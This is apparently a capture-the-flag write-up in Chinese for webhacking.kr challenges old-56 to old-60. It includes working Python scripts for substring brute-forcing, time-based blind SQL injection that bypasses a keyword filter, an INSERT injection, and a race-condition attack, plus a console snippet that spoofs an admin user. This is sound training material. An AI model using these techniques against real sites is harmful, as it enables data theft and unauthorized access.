Albert Huang
MED student | CS enthusiast
old-56
題目給了一個 board,裡面有 guest 和 admin 的內容,但 admin 的內容點進去會是 access denied,但我們下面有一個欄位可以進行搜尋是不是內容的子字串,因此我們可以直接爆搜來找到裡面的內容。
其中因為 flag 的 prefix 為 FLAG{,測試一下確實可以搜尋到,因此直接使用它來進行爆搜。途中發現 % 和 _ 會被用來當萬用字元,因此 _ 放到 % 的前一個順位(flag 中比 % 可能出現),而 % 放到最後。
使用 Python 實作:
1 2 3 4 5 6 7 8 9 10 11 12 import requestsimport stringflag = 'FLAG{' while flag[-1 ] != '}' : for char in string.ascii_letters + '!"#$&\'()*+,-./:;<=>?@[\\]^`{|}~_%' : r = requests.post('https://webhacking.kr/challenge/web-33/index.php' , data={'search' : flag+char}) if 'admin' in r.text: flag += char print (flag) break
執行後即可拿到 flag。
old-57
本題考點:Time-based Blind SQLi
是個輸入頁面,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php include "../../config.php" ; include "./flag.php" ; if ($_GET ['view_source' ]) view_source (); ?> <html><head> <title>Challenge 57 </title> </head> <body> <?php $db = dbconnect (); if ($_GET ['msg' ] && isset ($_GET ['se' ])){ $_GET ['msg' ] = addslashes ($_GET ['msg' ]); $_GET ['se' ] = addslashes ($_GET ['se' ]); if (preg_match ("/select|and|or|not|&|\||benchmark/i" ,$_GET ['se' ])) exit ("Access Denied" ); mysqli_query ($db ,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']} ','{$_GET['msg']} ','{$flag} ',{$_GET['se']} )" ); echo "Done<br><br>" ; if (rand (0 ,100 ) == 1 ) mysqli_query ($db ,"delete from chall57" ); } ?> <form method=get action=index.php> <table border=0 > <tr><td>message</td><td><input name=msg size=50 maxlength=50 ></td></tr> <tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0 >no</td></tr> <tr><td colspan=2 align=center><input type=submit></td></tr> </table> </form> <br><br><a href=./?view_source=1 >view-source</a> </body> </html>
又是一題 SQL injection,不過他不會輸出任何查詢內容,因此只能用 Time-based Blind SQL injection,而他的表達式中 msg 使用引號框起,會變成字串解析而非表達式,但 se 沒有,因此必須從 se 下手。來看一下 regex 的限制:
select、and、or、not、benchmark(評估資料庫在處理查詢時的執行效率、吞吐量及硬體瓶頸)
&、|
沒有限制 if、substr 和 sleep,所以一樣可以用 Time-based 找到 pw。秒數我則限制在 5.0 秒,避免設定過短導致網頁載入的誤差。
使用 Python 實作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport stringimport timedef get_length (exp ): length = 0 while True : payload = f"if(LENGTH(({exp} ))={length} ,sleep(5.0),1)" params = {'msg' : 'm3t30r' , 'se' : payload} start = time.time() r = requests.get('https://webhacking.kr/challenge/web-34/index.php' , params=params) if 'Done' in r.text: end = time.time() if end - start >= 4 : return length length += 1 def get_password (exp, length ): password = '' for i in range (1 , length+1 ): for char in string.printable: payload = f"if(SUBSTR(({exp} ),{i} ,1)={hex (ord (char))} ,sleep(5.0),1)" params = {'msg' : 'm3t30r' , 'se' : payload} start = time.time() r = requests.get('https://webhacking.kr/challenge/web-34/index.php' , params=params) if 'Done' in r.text: end = time.time() if end - start >= 4 : print (end-start) password += char print (password) break return password password_length = get_length('pw' ) password = get_password('pw' , password_length)
執行後即可拿到 pw。
old-58
這題是一個 console,來試試看 help 指令來看看有什麼指令可以用:
可以看到有 flag 指令,執行看看:
1 permission denied... admin only!
可以發現我們沒有權限,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <script > $(function ( ) { var username = "guest" ; var socket = io (); $('form' ).submit (function (e ){ e.preventDefault (); socket.emit ('cmd' ,username+":" +$('#m' ).val ()); $('#m' ).val ('' ); return false ; }); socket.on ('cmd' , function (msg ){ $('#messages' ).append ($('<li>' ).text (msg)); }); }); </script >
可以發現它用 javascript 的 socket 來實作資料提取,但我們目前是 guest,因此可以用這段 code 來動手腳作為 admin 拿到 flag。使用 console 即可解決:
1 2 3 4 5 6 7 var username = "admin" ;var socket = io ();var cmd = "flag" ;socket.emit ('cmd' ,username+":" +cmd); socket.on ('cmd' , function (msg ){ console .log (msg); });
執行後即可獲得 flag。
old-59
這題給了一個輸入頁面,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php include "../../config.php" ; if ($_GET ['view_source' ]) view_source (); $db = dbconnect (); if ($_POST ['lid' ] && isset ($_POST ['lphone' ])){ $_POST ['lid' ] = addslashes ($_POST ['lid' ]); $_POST ['lphone' ] = addslashes ($_POST ['lphone' ]); $result = mysqli_fetch_array (mysqli_query ($db ,"select id,lv from chall59 where id='{$_POST['lid']} ' and phone='{$_POST['lphone']} '" )); if ($result ['id' ]){ echo "id : {$result['id']} <br>lv : {$result['lv']} <br><br>" ; if ($result ['lv' ] == "admin" ){ mysqli_query ($db ,"delete from chall59" ); solve (59 ); } echo "<br><a href=./?view_source=1>view-source</a>" ; exit (); } } if ($_POST ['id' ] && isset ($_POST ['phone' ])){ $_POST ['id' ] = addslashes ($_POST ['id' ]); $_POST ['phone' ] = addslashes ($_POST ['phone' ]); if (strlen ($_POST ['phone' ])>=20 ) exit ("Access Denied" ); if (preg_match ("/admin/i" ,$_POST ['id' ])) exit ("Access Denied" ); if (preg_match ("/admin|0x|#|hex|char|ascii|ord|select/i" ,$_POST ['phone' ])) exit ("Access Denied" ); mysqli_query ($db ,"insert into chall59 values('{$_POST['id']} ',{$_POST['phone']} ,'guest')" ); } ?> <html><head><title>Challenge 59 </title></head><body> <form method=post> <table border=1 > <tr><td></td><td>ID</td><td>PHONE</td><td></td></tr> <tr><td>JOIN</td><td><input name=id></td><td><input name=phone></td><td><input type=submit></td></tr> <tr><td>LOGIN</td><td><input name=lid></td><td><input name=lphone></td><td><input type=submit></td></tr> </form> <br> <a href=./?view_source=1 >view-source</a> </body></html>
又是一題 SQL injection,而我們的目標是讓 lv 從 guest 變成 admin,在登入時即會過關。
在註冊的地方可以發現,我們可以注入的地方在 id 與 phone,但可以看到它在 phone 的地方沒有引號,因此可以執行 expression,我們可以用 reverse 讓最後的 guest 被替代為 reverse(id),就不會需要在注入時輸入 admin 而觸碰到 regex 限制。
構造表達式如下:
1 2 insert into chall59 values('nimda',1,reverse(id)),(1,1,'guest') = insert into chall59 values('nimda',1,'admin'),(1,1,'guest')
接著使用 nimda:1 登入即可。
old-60
本題考點:Race Condition、PHP Session Blocking
進入頁面之後會顯示:
1 2 Your idx is 65051 Access Denied
來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php include "../../config.php" ; if ($_GET ['view_source' ]) view_source (); login_chk (); echo "Your idx is {$_SESSION['idx']} <hr>" ; if (!is_numeric ($_COOKIE ['PHPSESSID' ])) exit ("Access Denied<br><a href=./?view_source=1>view-source</a>" ); sleep (1 ); if ($_GET ['mode' ]=="auth" ){ echo ("Auth~<br>" ); $result = file_get_contents ("./readme/{$_SESSION['idx']} .txt" ); if (preg_match ("/{$_SESSION['idx']} /" ,$result )){ echo ("Done!" ); unlink ("./readme/{$_SESSION['idx']} .txt" ); solve (60 ); exit (); } } $p = fopen ("./readme/{$_SESSION['idx']} .txt" ,"w" ); fwrite ($p ,$_SESSION ['idx' ]); fclose ($p ); if ($_SERVER ['REMOTE_ADDR' ]!="127.0.0.1" ){ sleep (1 ); unlink ("./readme/{$_SESSION['idx']} .txt" ); } ?> <html><head><title>Challenge 60 </title></head><body><a href=./?view_source=1 >view-source</a></body></html>
是一個讀檔的挑戰,如果送出 mode=auth 時,它會驗證 "./readme/{$_SESSION['idx']}.txt 的內容是不是符合自己的 idx。
在非 auth 的情況下,則會建立一個 "./readme/{$_SESSION['idx']}.txt 並寫入自己的 idx,若 ip 不是 127.0.0.1 的話,則會在 1 秒後讓使用者無法讀取這個文件。
但因為有 1 秒的時間,因此可以用 race condition 在同一秒內讀取內容。此外,它限制 PHPSESSID 必須為數字組成,因此我們可以開兩個無痕視窗後,將 PHPSESSID 設為兩個不同的數字(因為同一個 SESSION 會等前一個工作執行完才開始,我們需要同時進行),並且在一秒內驗證即可過關。
也可以用 Python 實作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requestsimport threadingimport timeurl = "https://webhacking.kr/challenge/web-37/" def login1 (): cookies = {"PHPSESSID" : "123456789" } credential = {'id' : 'M3t30r' , 'pw' : '<redacted>' } r = requests.post('https://webhacking.kr/login.php?login' , json=credential, cookies=cookies) print (r.text) def login2 (): cookies = {"PHPSESSID" : "1234567890" } credential = {'id' : 'M3t30r' , 'pw' : '<redacted>' } r = requests.post('https://webhacking.kr/login.php?login' , json=credential, cookies=cookies) print (r.text) def create_file (): cookies = {"PHPSESSID" : "123456789" } requests.get(url, cookies=cookies) def auth_file (): cookies = {"PHPSESSID" : "1234567890" } r = requests.get(url, params={'mode' :'auth' }, cookies=cookies) print (r.text) login1() login2() t1 = threading.Thread(target=create_file) t1.start() time.sleep(0.5 ) t2 = threading.Thread(target=auth_file) t2.start() t1.join() t2.join()